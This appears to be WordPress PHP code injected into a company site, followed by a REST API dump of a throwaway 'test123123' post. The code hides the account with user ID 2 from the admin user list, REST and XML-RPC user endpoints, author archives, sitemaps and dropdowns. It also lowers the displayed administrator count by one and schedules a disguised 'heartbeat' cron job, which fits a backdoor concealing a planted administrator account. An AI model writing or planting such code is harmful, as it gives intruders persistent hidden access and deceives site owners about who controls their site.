add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 2;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 2;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 2;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 2;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 2;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-2{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":6667,"date":"2026-06-06T21:13:00","date_gmt":"2026-06-06T21:13:00","guid":{"rendered":"https:\/\/robexo.in\/?p=6667"},"modified":"2026-06-06T21:13:00","modified_gmt":"2026-06-06T21:13:00","slug":"test123123-2","status":"publish","type":"post","link":"https:\/\/robexo.in\/index.php\/2026\/06\/06\/test123123-2\/","title":{"rendered":"test123123"},"content":{"rendered":"<p>test123123<\/p>\n","protected":false},"excerpt":{"rendered":"<p>test123123<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-6667","post","type-post","status-publish","format-standard","hentry","category-blog"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>test123123 - Robexo Industries<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/robexo.in\/index.php\/2026\/06\/06\/test123123-2\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"test123123 - Robexo Industries\" \/>\n<meta property=\"og:description\" content=\"test123123\" \/>\n<meta property=\"og:url\" content=\"https:\/\/robexo.in\/index.php\/2026\/06\/06\/test123123-2\/\" \/>\n<meta property=\"og:site_name\" content=\"Robexo Industries\" \/>\n<meta name=\"author\" content=\"tef\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"tef\" \/>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"test123123 - Robexo Industries","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/robexo.in\/index.php\/2026\/06\/06\/test123123-2\/","og_locale":"en_US","og_type":"article","og_title":"test123123 - Robexo Industries","og_description":"test123123","og_url":"https:\/\/robexo.in\/index.php\/2026\/06\/06\/test123123-2\/","og_site_name":"Robexo Industries","author":"tef","twitter_card":"summary_large_image","twitter_misc":{"Written by":"tef"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/robexo.in\/index.php\/2026\/06\/06\/test123123-2\/#article","isPartOf":{"@id":"https:\/\/robexo.in\/index.php\/2026\/06\/06\/test123123-2\/"},"author":{"name":"tef","@id":"https:\/\/robexo.in\/#\/schema\/person\/c84e11e4a6e081e2751240a8f3e8bd82"},"headline":"test123123","datePublished":"2026-06-06T21:13:00+00:00","mainEntityOfPage":{"@id":"https:\/\/robexo.in\/index.php\/2026\/06\/06\/test123123-2\/"},"wordCount":2,"publisher":{"@id":"https:\/\/robexo.in\/#organization"},"articleSection":["Blog"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/robexo.in\/index.php\/2026\/06\/06\/test123123-2\/","url":"https:\/\/robexo.in\/index.php\/2026\/06\/06\/test123123-2\/","name":"test123123 - Robexo Industries","isPartOf":{"@id":"https:\/\/robexo.in\/#website"},"datePublished":"2026-06-06T21:13:00+00:00","breadcrumb":{"@id":"https:\/\/robexo.in\/index.php\/2026\/06\/06\/test123123-2\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/robexo.in\/index.php\/2026\/06\/06\/test123123-2\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/robexo.in\/index.php\/2026\/06\/06\/test123123-2\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/robexo.in\/"},{"@type":"ListItem","position":2,"name":"test123123"}]},{"@type":"WebSite","@id":"https:\/\/robexo.in\/#website","url":"https:\/\/robexo.in\/","name":"Robexo Industries","description":"","publisher":{"@id":"https:\/\/robexo.in\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/robexo.in\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/robexo.in\/#organization","name":"Robexo Industries","url":"https:\/\/robexo.in\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/robexo.in\/#\/schema\/logo\/image\/","url":"https:\/\/robexo.in\/wp-content\/uploads\/2023\/09\/logo.png","contentUrl":"https:\/\/robexo.in\/wp-content\/uploads\/2023\/09\/logo.png","width":156,"height":40,"caption":"Robexo Industries"},"image":{"@id":"https:\/\/robexo.in\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/robexo.in\/#\/schema\/person\/c84e11e4a6e081e2751240a8f3e8bd82","name":"tef","sameAs":["https:\/\/robexo.in"],"url":"https:\/\/robexo.in\/index.php\/author\/tef\/"}]}},"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/robexo.in\/index.php\/wp-json\/wp\/v2\/posts\/6667","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/robexo.in\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/robexo.in\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/robexo.in\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/robexo.in\/index.php\/wp-json\/wp\/v2\/comments?post=6667"}],"version-history":[{"count":1,"href":"https:\/\/robexo.in\/index.php\/wp-json\/wp\/v2\/posts\/6667\/revisions"}],"predecessor-version":[{"id":6668,"href":"https:\/\/robexo.in\/index.php\/wp-json\/wp\/v2\/posts\/6667\/revisions\/6668"}],"wp:attachment":[{"href":"https:\/\/robexo.in\/index.php\/wp-json\/wp\/v2\/media?parent=6667"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/robexo.in\/index.php\/wp-json\/wp\/v2\/categories?post=6667"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/robexo.in\/index.php\/wp-json\/wp\/v2\/tags?post=6667"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}